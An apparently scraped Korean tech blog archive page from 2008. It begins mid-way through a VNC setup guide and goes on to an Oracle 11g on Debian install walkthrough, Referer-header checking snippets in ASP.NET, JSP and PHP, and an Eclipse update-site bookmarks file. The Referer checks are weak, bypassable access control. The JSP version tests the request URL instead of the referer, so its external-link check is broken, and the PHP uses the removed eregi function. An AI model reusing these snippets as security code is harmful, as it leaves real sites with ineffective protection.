$cmd .= " -pixelformat $pixelformat" if ($pixelformat);

$cmd .= " -rfbwait 120000";

$cmd .= " -rfbauth $vncUserDir/passwd";

$cmd .= " -rfbport $vncPort";

$cmd .= " -fp $fontPath" if ($fontPath);

$cmd .= " -co $colorPath" if ($colorPath);



(2) 클라이언트 설정 및 구동


앞서 다운 받은 rpm 파일 중 Client용 프로그램을 설치하였다면, 클라이언트 PC에서 아래와 같은 명령으로 VNC Viewer를 실행합니다.

[VNC Viewer 실행 (1)]

[root@localhost ~]# vncviewer &


  

콘솔창에서 "vncviewer &" 명령을 실행하면, 접속할 서버의 IP 주소 및 Password를 입력하는 창이 나타나며, 정상 입력되면 아래 그림과 같이 서버의 화면이 나타나게 됩니다.


또는 아래와 같이 콘솔창에서 "192.168.179.138:1"과 같이 바로 입력해도 됩니다.

IP뒤에 붙는 숫자는 앞서서 vncserver를 여러 개 띄운 것과 같이 접속할 수 있는 vncserver 번호로 이해하시면 되겠습니다.

[VNC Viewer 실행 (2)]

[root@localhost root]# vncviewer 192.168.179.138:1

VNC server supports protocol version 3.3 (viewer 3.3)

Password:

VNC authentication succeeded

Desktop name "root''s X desktop (localhost.localdomain:1)"

Connected to VNC server, using protocol version 3.3

VNC server default format:

  32 bits per pixel.

  Least significant byte first in each pixel.

  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0

Using default colormap which is TrueColor.  Pixel format:

  16 bits per pixel.

  Least significant byte first in each pixel.

  True colour: max red 31 green 63 blue 31, shift red 11 green 5 blue 0

Using shared memory PutImage



4. VNC 종료


위와 같이 VNC에 접속하여 여러 가지 작업을 마친 후 종료할 때,

VNC Viewer는 그냥 창만 닫으면 되지만, Server의 경우는 아래의 명령과 같이 해당 데몬을 종료해야 합니다.


[VNC 서버 종료]

[root@localhost ~]# vncserver -kill :1

Killing Xvnc process ID 15618

[root@localhost ~]#

위의 명령은 1번 vncserver를 종료하는 방법입니다.


~/.vnc/localhost.localdomain:1.pid 파일에서 1번 vncserver의 PID 값을 확인하여, 해당 프로세스를 종료하게 됩니다.

만약 강제로 프로세스를 죽이거나 비정상적인 종료를 하였다면 다음번 vncserver를 실행할 때 위의 PID 파일을 참조하여 경고 메시지를 보여주게 됩니다.

이 런 경고 메시지를 보이지 않게 하려면, ~/.vnc/ 경로 아래에 있는 vncserver 관련 파일들 중, 해당 번호의 pid 및 log 파일을 삭제하고, /tmp/.X11-unix/ 아래에서 vncserver가 사용하던 파일들을 삭제해주면 됩니다.


5. 기타


VNC Server의 서비스 데몬은 아래와 같은 명령으로 가동할 수 있습니다.

[VNC Server 서비스 데몬 가동]

[root@localhost ~]# /etc/init.d/vncserver restart

Shutting down VNC server:                                  [  OK  ]

Starting VNC server:                                       [  OK  ]

[root@localhost ~]#



참고

위의 서비스를 시스템 가동 시에 자동으로 실행하기 위해서는 ntsysv를 실행하여 vncserver에 체크해 줌으로써 가능해 집니다.

만약 ntsysv를 실행하였을 때, vncserver 항목이 보이지 않는다면, 아래 명령으로 vncserver 항목을 추가해 줍니다.

[ntsysv 항목 추가]

[root@haansoft ~]# chkconfig --add vncserver


이렇게 서비스 데몬이 가동된 다음, 앞서 보았던 vncserver의 각 서비스를 하나씩 가동해 주는 것입니다.

(vncserver는 가동될 때마다 숫자가 증가되어 붙으므로, 이 숫자로 구별할 수 있습니다.)

vncserver의 각 서비스도 자동으로 실행하고 싶다면, /etc/sysconfig/vncservers 파일에 아래와 같은 내용을 추가합니다.

[VNC Server 개별 서비스 자동 설정]

VNCSERVERS="1:root 2:haansoft 3:haansoftlinux"

위 의 내용은 1번 vncserver에는 root 계정으로 접속을 허용하고, 2번 vncserver에는 haansoft 계정으로, 3번 vncserver에는 haansoftlinux 계정으로의 접속을 허용하도록 미리 설정해 놓는 것입니다.

위와 같은 형식으로 원하는 숫자만큼의 사용자를 미리 지정해 둘 수 있습니다.


-----------------------------------------------------

이글의 출처는 http://www.haansoftlinux.com/ 입니다.

Posted by 1010
98..Etc/Etc...2008. 7. 14. 12:37
반응형
cmd -> nslookup -> url ->
Posted by 1010
98..Etc/Etc...2008. 7. 14. 12:20
반응형

A First Look at Oracle 11g database on Debian GNU/Linux

Three and half years have passed since my first attempts to install Oracle 10g on an unsupported Debian GNU/Linux distribution. Seeing that Oracle 11g is out, and exclusively for Linux at this time, I decided to download it among the first and see and share with you what it's installation looks like.

The distribution can be downloaded from the Oracle Database Software Downloads page, but let me warn you upfront that the archive is 1.7GB in size, so you'll need quite a big pipe to successfully download it. What makes it even harder is that Oracle insists that you download it from browser window (Wget and similar utilities won't work out of the box, although there are some tricks that can be deployed), so be prepared to have that browser window open for a long time and prey that download doesn't break along the way.

I won't go into details with preparation tasks (stuff you need to do even before you launch the installer), because that is very well documented (Oracle database has great, although a bit overwhelming, documentation). When you unpack the zip archive, you can access the documentation with your browser (iceweasel welcome.html). Suffice to say that you at least have to create an oracle user and group, and recheck you shared memory parameters.

./runInstaller

OK, so after we have launched the installer, we're greeted with the welcome window which gives us opportunity to change the default installation directory, and tune some other aspects of this installation.

I chose the option to create the Starter Database, to see how it works. But at this time I skipped the option to do the Advanced Installation. Some more configuration windows follow, be sure to pick appropriate paths for your new install.

Finally, we reach the step where Oracle checks some system parameters (Prerequisites Check) where it finds that the install is not running on a certified Linux distribution. But it's quite cleverly architected, the installation doesn't break, instead it forces you to confirm that is really what you want. I liked it, readily checked the needed boxes, so that installation could continue.

Before the disk crunching part starts, we have yet another nice summary screen to recheck all the parameters we've given to the installer.

What follows is 15-30 minutes of installing, linking, setting up and configuring of software packages. Go make yourself a cup of tee, there is nothing you need to do until the copying is over. :)

Near the end of the installation, when database configuration assistant and other assistants are launched, I got my first error.

Actually a warning, because everything continued to work correctly after that (not a showstopper, it seems). Peeking into suggested log file revealed that it was an Java exception:

CONFIG: Stack Trace:
oracle.sysman.emcp.exception.EMConfigException: Error starting Database Control
        at oracle.sysman.emcp.EMDBPostConfig.performConfiguration(EMDBPostConfig.java:868)
        at oracle.sysman.emcp.EMDBPostConfig.invoke(EMDBPostConfig.java:249)
        at oracle.sysman.emcp.EMDBPostConfig.invoke(EMDBPostConfig.java:212)
        at oracle.sysman.emcp.EMConfig.perform(EMConfig.java:234)
        at oracle.sysman.assistants.util.em.EMConfiguration.run(EMConfiguration.java:460)
        at java.lang.Thread.run(Thread.java:595)

Nevertheless, after accepting that error, we're greeted with a window that suggests the installation went OK.

Next step is to run two scripts as a superuser. Don't worry, Oracle won't make much trouble to your fine administered Debian machine, it'll copy just a few files to /usr/local/bin, /etc and /opt directories and all are easy to found, should you later decide to uninstall the database.

And that's it, happy end. If you don't believe me, here's the last window you'll see before you're back to prompt.

And yes, your new development database is already started and happily running:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
oracle    6389  0.0  0.4  51768  8868 ?        Ssl  18:12   0:00 /ext/oracle/app/or
oracle    6873  0.0  0.7 961116 15148 ?        Ss   18:17   0:00 ora_pmon_orcl
oracle    6875  0.0  0.6 960504 12616 ?        Ss   18:17   0:00 ora_vktm_orcl
oracle    6879  0.0  0.6 960504 12504 ?        Ss   18:17   0:00 ora_diag_orcl
oracle    6881  0.0  0.8 960504 18352 ?        Ss   18:17   0:00 ora_dbrm_orcl
oracle    6883  0.0  0.6 960504 12688 ?        Ss   18:17   0:00 ora_psp0_orcl
oracle    6887  0.0  0.7 961016 14704 ?        Ss   18:17   0:00 ora_dia0_orcl
oracle    6889  0.0  1.3 960504 27208 ?        Ss   18:17   0:00 ora_mman_orcl
oracle    6891  0.0  3.1 963060 65828 ?        Ss   18:17   0:00 ora_dbw0_orcl
oracle    6893  0.0  1.6 976056 34380 ?        Ss   18:17   0:00 ora_lgwr_orcl
oracle    6895  0.0  0.8 961016 17264 ?        Ss   18:17   0:00 ora_ckpt_orcl
oracle    6897  0.0  4.2 963208 88620 ?        Ss   18:17   0:00 ora_smon_orcl
oracle    6899  0.0  0.8 960504 17544 ?        Ss   18:17   0:00 ora_reco_orcl
oracle    6901  0.0  2.9 965284 61748 ?        Ss   18:17   0:00 ora_mmon_orcl
oracle    6903  0.0  0.8 960504 16644 ?        Ss   18:17   0:00 ora_mmnl_orcl
oracle    6905  0.0  0.6 961080 12748 ?        Ss   18:17   0:00 ora_d000_orcl
oracle    6907  0.0  0.5 961068 12312 ?        Ss   18:17   0:00 ora_s000_orcl
oracle    6917  0.0  1.1 962052 23184 ?        Ss   18:17   0:00 ora_fbda_orcl
oracle    6919  0.0  0.6 960504 12880 ?        Ss   18:17   0:00 ora_smco_orcl
oracle    6921  0.0  0.8 960504 16760 ?        Ss   18:17   0:00 ora_qmnc_orcl
oracle    6935  0.0  1.2 967312 25428 ?        Ss   18:17   0:00 ora_w000_orcl
oracle    7011  0.0  1.6 965128 34660 ?        Ss   18:17   0:00 ora_cjq0_orcl
oracle    7013  0.0  1.3 962072 28596 ?        Ss   18:17   0:00 ora_q000_orcl
oracle    7015  0.0  0.9 960500 18984 ?        Ss   18:17   0:00 ora_q001_orcl
oracle    9852  3.3  9.3 918012 194428 pts/1   Sl   18:18   0:30 /ext/oracle/app/or
oracle    9935  0.0  1.5 962128 32292 ?        Ss   18:18   0:00 oracleorcl (LOCAL=
oracle    9939  0.0  1.7 963172 35360 ?        Ss   18:18   0:00 oracleorcl (LOCAL=
oracle   10381  0.0  2.3 964172 47904 ?        Ss   18:18   0:00 oracleorcl (LOCAL=
oracle   10384  3.6  4.3 973416 90640 ?        Ss   18:18   0:32 oracleorcl (LOCAL=
oracle   10387  0.0  2.5 963180 51980 ?        Ss   18:18   0:00 oracleorcl (LOCAL=
oracle   10390  0.0  1.5 962104 32288 ?        Ss   18:18   0:00 oracleorcl (LOCAL=
oracle   10394  0.0  2.5 963156 52124 ?        Ss   18:18   0:00 oracleorcl (LOCAL=
oracle   10397  0.0  2.0 963152 43256 ?        Ss   18:18   0:00 oracleorcl (LOCAL=
oracle   11826  0.1  1.2 962084 25372 ?        Ss   18:33   0:00 ora_j000_orcl

[/ext/oracle/app/oracle]# du -sm *
1       admin
1       cfgtoollogs
3       diag
1       flash_recovery_area
1613    oradata
3417    product

The database obviously needs quite a lot of resources to run, so be sure to install it on an adequate machine (at least 1GB RAM, 10GB of free disk space and so on...). Happy hacking!

Related:
Oracle10g on Debian Linux HOWTO

Posted by 1010
98..Etc/Etc...2008. 7. 11. 17:50
반응형

String ref = request.getHeader("REFERER");

ref에 변수에 호출된 URL정보가 들어갑니다.

ref값이 null일 경우가 있는데 이는 브라우저 URL입력창에 입력 호출했을때는
null이 됩니다.

위의 방법을 이용해 자신의 컨텐츠가 무단 도용당하는걸 막거나 할때 유용하게 쓸수 있습니다.





레퍼러값을 체크하는 방법 2가지 입니다. 먼저, 레퍼러값이 null 값일경우 Default.aspx 페이지로 리다이렉팅. 만일 레퍼러값이 있을경우 현재, 사이트의 도메인과 레퍼러주소의 도메인이 다를경우 다시 Redirect 를 합니다. 바로 Redirect 를 해도 되지만, 자바스크립트로 Alert 를 띄운후 처리..
public void UrlReferrerCheck(string refferUrl)
{
     if(Request.UrlReferrer == null)
          {
 string script = "< script>alert('직접 접근할 수 없습니다!!');" +
       "location.href='/Default.aspx';";
 Page.RegisterClientScriptBlock("done", script);
 //Response.Redirect(refferUrl);
 
          }
          else
          {
 string refer = Request.UrlReferrer.ToString();
 string ServerPath = Request.Url.ToString();
 ServerPath = ServerPath.Substring(0,ServerPath.LastIndexOf("/"));

 if(refer.IndexOf(ServerPath) == -1)
 {
      string script = "< script>alert('직접 접근할 수 없습니다!!');" +
            "location.href='/Default.aspx';";
      Page.RegisterClientScriptBlock("done", script);
      //Response.Redirect(refferUrl);
 }
          }
}




<%@ page contentType="text/html; charset=MS949"  %>
<%
    String referer = request.getHeader("Referer");
    String url = request.getRequestURL().toString();
    String ctxPath = request.getContextPath();
    int port = request.getServerPort();
    String host = request.getServerName();
    String tmp = "";
    if (port == 80) {
        tmp = "http://" + host + ctxPath;
    }
    else {
        tmp = "http://" + host + ":" + port + ctxPath;
    }

    if (referer == null) {
%>
<HTML>
<HEAD><TITLE>Sorry</TITLE></HEAD>
<BODY>
<CENTER>

       Sorry... <br />
       <font color=red>URL 주소 직접 치고 들어 오지 마세요...</font>

</CENTER>
</BODY>
</HTML>
<%
        return;
    }
    else if (!url.startsWith(tmp)) {
%>
<HTML>
<HEAD><TITLE>Sorry again</TITLE></HEAD>
<BODY>
<CENTER>

       Sorry again... <br />
       <font color=red>다른데서 여기를 링크 걸지 마세요...</font>

</CENTER>
</BODY>
</HTML>
<%
        return;
    }
%>

<HTML>
<HEAD><TITLE>Success</TITLE></HEAD>
<BODY>
<CENTER>

       <font color=blue>성공!!</font> <br /> <br />
       <font size=+2 color=blue>환영!!</font>

</CENTER>
</BODY>
</HTML>
 
 
 
 
 PHP
if (!eregi($_SERVER['HTTP_HOST'], $_SERVER['HTTP_REFERER'])){
 echo "<SCRIPT>alert('외부접근을 허용하지않습니다.');".$parent."location.href='javascript:history.go(-1);';</SCRIPT>"; exit;
}

ASP
Request.ServerVariables("HTTP_REFERER")

Posted by 1010
98..Etc/Etc...2008. 7. 10. 14:13
반응형
<?xml version="1.0" encoding="UTF-8"?> 
<bookmarks> 
   <site name="Spring IDE updatesite" url="http://springide.org/updatesite/" web="false" selected="false" local="false"/> 
   <site name="Aptana" url="http://update.aptana.com/install/3.2/" web="false" selected="false" local="false"/> 
   <site name="RDT" url="http://updatesite.rubypeople.org/release" web="false" selected="false" local="false"/> 
   <site name="RadRails" url="http://radrails.sourceforge.net/update" web="false" selected="false" local="false"/> 
   <site name="JavaFX Plugin Update Site" url="http://download.java.net/general/openjfx/plugins/eclipse/site.xml" web="false" selected="false" local="false"/> 
   <site name="Eclipse Visual Editor" url="http://update.eclipse.org/tools/ve/updates/1.0" web="false" selected="false" local="false"/> 
   <site name="jMaki Plugin Updates" url="https://ajax.dev.java.net/eclipse" web="false" selected="false" local="false"/> 
   <site name="Visual Editor update site" url="http://update.eclipse.org/tools/ve/updates/1.0/" web="false" selected="false" local="false"/> 
   <site name="Azzurri Plugins (DB ER 작성)" url="http://www.azzurri.co.jp/eclipse/plugins" web="false" selected="true" local="false"/> 
   <site name="m2eclipse" url="http://m2eclipse.codehaus.org/update/" web="false" selected="false" local="false"/> 
   <site name="Subversive SVN connectors update site 2.0.x" url="http://www.polarion.org/projects/subversive/download/eclipse/2.0/update-site/" web="false" selected="true" local="false"/> 
   <site name="The Eclipse Project Updates" url="http://update.eclipse.org/updates/3.3" web="false" selected="false" local="false"/> 
   <site name="Subversive SVN connectors update site 2.0.x" url="http://www.polarion.org/projects/subversive/download/eclipse/2.0/update-site/" web="false" selected="false" local="false"/> 
   <site name="Europa Discovery Site" url="http://download.eclipse.org/releases/europa" web="false" selected="false" local="false"/> 
   <site name="Web Tools Platform (WTP) Updates" url="http://download.eclipse.org/webtools/updates" web="false" selected="false" local="false"/> 
   <site name="Dali Java Persistence API Tools (JPA) Updates" url="http://download.eclipse.org/webtools/updates/" web="false" selected="false" local="false"/> 
   <site name="Data Tools Platform (DTP) Updates" url="http://download.eclipse.org/datatools/updates" web="false" selected="false" local="false"/> 
   <site name="EMF Service Data Objects (SDO) Updates" url="http://download.eclipse.org/modeling/emf/updates/" web="false" selected="false" local="false"/> 
   <site name="Eclipse Modeling Framework Technologies (EMFT) Updates" url="http://download.eclipse.org/technology/emft/updates/" web="false" selected="false" local="false"/> 
   <site name="Graphical Editing Framework (GEF) Update Site" url="http://download.eclipse.org/tools/gef/update-site/releases/site.xml" web="false" selected="false" local="false"/> 
   <site name="Subversive update site 0.7.x (Incubation)" url="http://download.eclipse.org/technology/subversive/0.7/update-site/" web="false" selected="false" local="false"/> 
   <site name="Spring IDE" url="http://springide.org/updatesite" web="false" selected="false" local="false"/> 
   <site name="Model Developement Tools (MDT) Updates" url="http://download.eclipse.org/modeling/mdt/updates/" web="false" selected="false" local="false"/> 
   <site name="Mylyn Extras" url="http://download.eclipse.org/tools/mylyn/update/extras" web="false" selected="false" local="false"/> 
   <site name="Mylyn" url="http://download.eclipse.org/tools/mylyn/update/e3.3" web="false" selected="false" local="false"/> 
</bookmarks> 
Posted by 1010